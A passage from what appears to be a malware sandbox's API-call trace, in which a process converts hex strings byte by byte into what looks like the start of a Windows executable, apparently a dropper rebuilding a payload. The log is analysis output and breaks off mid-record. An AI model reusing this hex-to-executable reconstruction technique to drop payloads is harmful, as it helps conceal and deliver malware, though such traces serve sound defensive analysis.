pvar=0x18f8d8) returned 0x0 [0061.634] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x142ca34, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0061.634] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.634] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.635] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1436834, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0061.635] VarParseNumFromStr (in: strIn="&HE", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0061.635] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0061.635] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x1430114, cchWideChar=1 | out: lpWideCharStr="\x0e") returned 1 [0061.635] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="\x0e", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.635] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="\x0e", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.635] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="\x0e", cchWideChar=1, lpMultiByteStr=0x1436834, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x0e", lpUsedDefaultChar=0x0) returned 1 [0061.636] VarParseNumFromStr (in: strIn="&H1F", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0061.636] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0061.636] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x142ca34, cchWideChar=1 | out: lpWideCharStr="\x1f") returned 1 [0061.636] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="\x1f", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.636] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="\x1f", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.636] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="\x1f", cchWideChar=1, lpMultiByteStr=0x1436834, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x1f", lpUsedDefaultChar=0x0) returned 1 [0061.636] VarParseNumFromStr (in: strIn="&HBA", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0061.636] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0061.636] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x1430114, cchWideChar=1 | out: lpWideCharStr="º") returned 1 [0061.637] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="º", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.637] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="º", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.637] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="º", cchWideChar=1, lpMultiByteStr=0x1436834, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="º", lpUsedDefaultChar=0x0) returned 1 [0061.637] VarParseNumFromStr (in: strIn="&HE", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0061.637] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0061.637] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x142ca34, cchWideChar=1 | out: lpWideCharStr="\x0e") returned 1 [0061.637] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="\x0e", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.637] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="\x0e", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.638] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="\x0e", cchWideChar=1, lpMultiByteStr=0x1436834, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x0e", lpUsedDefaultChar=0x0) returned 1 [0061.638] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0061.638] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0061.638] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x1430114, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0061.638] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.638] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.638] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1436834, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0061.639] VarParseNumFromStr (in: strIn="&HB4", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0061.639] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0061.639] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x142ca34, cchWideChar=1 | out: lpWideCharStr="´") returned 1 [0061.639] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="´", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.639] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="´", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.639] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="´", cchWideChar=1, lpMultiByteStr=0x1436834, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="´", lpUsedDefaultChar=0x0) returned 1 [0061.639] VarParseNumFromStr (in: strIn="&H9", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0061.639] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0061.639] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x1430114, cchWideChar=1 | out: lpWideCharStr="\x09") returned 1 [0061.640] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="\x09", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.640] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="\x09", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.640] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="\x09", cchWideChar=1, lpMultiByteStr=0x1436834, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x09", lpUsedDefaultChar=0x0) returned 1 [0061.640] VarParseNumFromStr (in: strIn="&HCD", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0061.640] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0061.640] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x142ca34, cchWideChar=1 | out: lpWideCharStr="Í") returned 1 [0061.640] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Í", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.640] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Í", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.640] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Í", cchWideChar=1, lpMultiByteStr=0x1436834, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Í", lpUsedDefaultChar=0x0) returned 1 [0061.641] VarParseNumFromStr (in: strIn="&H21", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0061.641] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0061.641] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x1430114, cchWideChar=1 | out: lpWideCharStr="!") returned 1 [0061.641] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="!", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.641] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="!", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.641] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="!", cchWideChar=1, lpMultiByteStr=0x1436834, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="!", lpUsedDefaultChar=0x0) returned 1 [0061.642] VarParseNumFromStr (in: strIn="&HB8", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0061.642] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0061.642] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x142ca34, cchWideChar=1 | out: lpWideCharStr="¸") returned 1 [0061.642] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="¸", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.642] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="¸", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.643] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="¸", cchWideChar=1, lpMultiByteStr=0x1436834, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="¸", lpUsedDefaultChar=0x0) returned 1 [0061.643] VarParseNumFromStr (in: strIn="&H1", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0061.643] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0061.643] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x1430114, cchWideChar=1 | out: lpWideCharStr="\x01") returned 1 [0061.643] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="\x01", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.643] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="\x01", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.643] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="\x01", cchWideChar=1, lpMultiByteStr=0x1436834, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x01", lpUsedDefaultChar=0x0) returned 1 [0061.644] VarParseNumFromStr (in: strIn="&H4C", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0061.644] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0061.644] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x142ca34, cchWideChar=1 | out: lpWideCharStr="L") returned 1 [0061.644] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="L", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.644] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="L", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.644] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="L", cchWideChar=1, lpMultiByteStr=0x1436834, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="L", lpUsedDefaultChar=0x0) returned 1 [0061.645] VarParseNumFromStr (in: strIn="&HCD", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0061.645] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0061.645] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x1430114, cchWideChar=1 | out: lpWideCharStr="Í") returned 1 [0061.645] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Í", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.645] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Í", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.645] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Í", cchWideChar=1, lpMultiByteStr=0x1436834, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Í", lpUsedDefaultChar=0x0) returned 1 [0061.646] VarParseNumFromStr (in: strIn="&H21", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0061.646] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0061.646] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x142ca34, cchWideChar=1 | out: lpWideCharStr="!") returned 1 [0061.646] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="!", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.646] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="!", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.646] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="!", cchWideChar=1, lpMultiByteStr=0x1436834, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="!", lpUsedDefaultChar=0x0) returned 1 [0061.646] VarParseNumFromStr (in: strIn="&H54", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0061.646] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0061.647] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x1430114, cchWideChar=1 | out: lpWideCharStr="T") returned 1 [0061.647] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="T", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.647] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="T", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.647] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="T", cchWideChar=1, lpMultiByteStr=0x1436834, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="T", lpUsedDefaultChar=0x0) returned 1 [0061.647] VarParseNumFromStr (in: strIn="&H68", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0061.647] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0061.647] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x142ca34, cchWideChar=1 | out: lpWideCharStr="h") returned 1 [0061.647] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="h", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.647] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="h", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.648] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="h", cchWideChar=1, lpMultiByteStr=0x1436834, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="h", lpUsedDefaultChar=0x0) returned 1 [0061.648] VarParseNumFromStr (in: strIn="&H69", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0061.648] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0061.648] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x1430114, cchWideChar=1 | out: lpWideCharStr="i") returned 1 [0061.648] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.648] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.648] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x1436834, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="i", lpUsedDefaultChar=0x0) returned 1 [0061.649] VarParseNumFromStr (in: strIn="&H73", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0061.649] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0061.649] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x142ca34, cchWideChar=1 | out: lpWideCharStr="s") returned 1 [0061.649] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.649] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.649] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x1436834, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="s", lpUsedDefaultChar=0x0) returned 1 [0061.649] VarParseNumFromStr (in: strIn="&H20", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0061.649] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0061.649] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x1430114, cchWideChar=1 | out: lpWideCharStr=" ") returned 1 [0061.650] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.650] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0061.650] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=1, lpMultiByteStr=0x1436834, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", 